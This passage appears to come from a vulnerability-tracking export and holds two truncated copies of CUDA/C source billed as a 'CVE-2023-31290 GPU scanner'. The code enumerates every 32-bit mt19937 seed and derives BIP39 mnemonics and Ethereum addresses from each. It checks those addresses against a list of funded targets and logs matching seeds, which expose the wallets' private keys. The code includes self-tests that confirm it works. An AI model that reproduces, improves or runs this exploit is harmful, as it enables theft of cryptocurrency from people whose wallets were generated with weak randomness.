&amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:27:06.975017Z"}, {"uuid": "ea2b0e3a-384b-4da4-8f65-e7155a92adba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/164932e17b7d24453beb2bb4fb5bb345", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 